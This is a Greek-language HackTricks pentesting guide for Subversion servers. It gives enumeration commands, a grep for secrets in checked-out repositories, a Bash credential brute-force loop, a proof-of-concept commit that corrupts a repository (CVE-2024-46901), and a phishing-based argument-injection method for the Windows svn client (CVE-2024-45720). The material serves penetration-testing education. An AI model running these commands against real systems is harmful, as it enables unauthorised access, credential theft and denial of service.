3690/tcp - Pentesting Διακομιστής Subversion (SVN)

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Subversion (SVN) είναι ένα κεντροποιημένο σύστημα ελέγχου έκδοσης (Apache license) που χρησιμοποιείται για την παρακολούθηση εκδόσεων λογισμικού και τον έλεγχο αναθεωρήσεων.

Προεπιλεγμένη θύρα: 3690/tcp (svnserve). Μπορεί επίσης να εκτεθεί μέσω HTTP/HTTPS μέσω mod_dav_svn και μέσω svn+ssh.

PORT     STATE SERVICE
3690/tcp open  svnserve Subversion
nc -vn 10.10.10.10 3690
svnserve --version           # if shell access is obtained
svn --version                # client version leak via error messages

Εντοπισμός

# Anonymous / authenticated listing
svn ls svn://10.10.10.203                  # list root
svn ls -R svn://10.10.10.203/repo         # recursive list
svn info svn://10.10.10.203/repo          # repo metadata
svn log svn://10.10.10.203/repo           # commit history
svn checkout svn://10.10.10.203/repo      # checkout repository
svn up -r 2                               # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo   # view changes

# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''

# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo

Αυθεντικοποίηση & Αναζήτηση λανθασμένων διαμορφώσεων

  • svnserve.conf μπορεί να επιτρέπει anon-access = read (ή ακόμα και εγγραφή). Αν μπορείτε να κάνετε λίστα, δοκιμάστε checkout για να εξαγάγετε μυστικά, σενάρια, CI tokens.
  • Τα αποθετήρια συχνά αποθηκεύουν build pipelines, deployment keys, και database credentials σε αρχεία διαμόρφωσης υπό έλεγχο έκδοσης. Κάντε grep στο working copy μετά το checkout: grep -R "password\|secret\|token" -n ..
  • Εάν το svn+ssh είναι ενεργό, τα shells χρηστών συχνά επιτρέπουν περιορισμένες εντολές svnserve; δοκιμάστε ssh user@host svnserve -t με επιμελημένα subcommands για να παρακάμψετε wrappers.

Bruteforcing credentials (svnserve)

sasl authentication (εάν είναι ενεργοποιημένη) και απλά αρχεία κωδικών προστατεύονται μόνο από το transport — δεν υπάρχει αποκλεισμός από προεπιλογή. Ένας γρήγορος loop σε Bash μπορεί να δοκιμάσει διαπιστευτήρια:

for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done

Πρόσφατες Ευπάθειες (πρακτικός αντίκτυπος)

mod_dav_svn DoS μέσω χαρακτήρων ελέγχου (CVE-2024-46901)

  • Ένας χρήστης με commit δικαιώματα μπορεί να γράψει ένα path που περιέχει χαρακτήρες ελέγχου (π.χ. \x01, \x7f) που corrupts το repository, κάνοντας τα επόμενα checkouts/logs να αποτύχουν και πιθανόν να προκαλέσει crash στους workers του mod_dav_svn.
  • Επηρεάζει Subversion ≤ 1.14.4 όταν εξυπηρετείται μέσω HTTP(S) (mod_dav_svn). Διορθώθηκε στην 1.14.5.
  • PoC commit με svnmucc (απαιτεί valid commit creds):
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
  • Μετά το commit, οι κανονικοί clients ενδέχεται να καταρρεύσουν ή να αρνηθούν ενημερώσεις μέχρι οι admins να αφαιρέσουν χειροκίνητα την αναθεώρηση με svnadmin dump/filter/load.

Windows argument injection in svn client (CVE-2024-45720)

  • Σε Windows, ο “best-fit” χαρακτήρας κωδικοποίησης στο svn.exe επιτρέπει command-line argument injection κατά την επεξεργασία ειδικά κατασκευασμένων non‑ASCII paths/URLs, ενδεχομένως οδηγώντας σε αυθαίρετη εκτέλεση προγράμματος.
  • Επηρεάζει Subversion ≤ 1.14.3 μόνο σε Windows; διορθώθηκε στην 1.14.4. Επιφάνεια επίθεσης: phishing a developer to run svn on an attacker-controlled URL/path.
  • Pentest angle: εάν ελέγχετε ένα network share ή ZIP που δίνεται σε έναν Windows dev, ονομάστε ένα repo URL ή working-copy path που περιέχει best-fit bytes που αποκωδικοποιούνται σε " & calc.exe & "-τύπου injected args, και μετά ξεγελάστε το θύμα να τρέξει svn status ή παρόμοιο σε εκείνο το path.

Σημειώσεις για τη ροή εργασίας εκμετάλλευσης

  1. Ελέγξτε τη μέθοδο πρόσβασης: svn:// (svnserve), http(s)://.../svn/ (mod_dav_svn), or svn+ssh://.
  2. Δοκιμάστε πρώτα anonymous read; στη συνέχεια κάντε spray common creds. Αν χρησιμοποιείται HTTP Basic, επαναχρησιμοποιήστε creds που βρέθηκαν αλλού.
  3. Enumerate hooks: hooks/pre-commit, post-commit scripts μερικές φορές περιέχουν plaintext credentials ή hostnames.
  4. Leverage svn:externals για να τραβήξετε επιπλέον paths από άλλους hosts; απαριθμήστε τα με svn propget svn:externals -R . μετά το checkout.
  5. Version leaks: τα HTTP response headers από το mod_dav_svn συνήθως δείχνουν την έκδοση Subversion & Apache· συγκρίνετέ τα με την 1.14.5 για να εντοπίσετε vuln targets.
  6. Αν αποκτήσετε πρόσβαση στο filesystem του repo, svnadmin dump/svnlook author/svnlook dirs-changed επιτρέπουν offline ανάλυση χωρίς credentials.

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks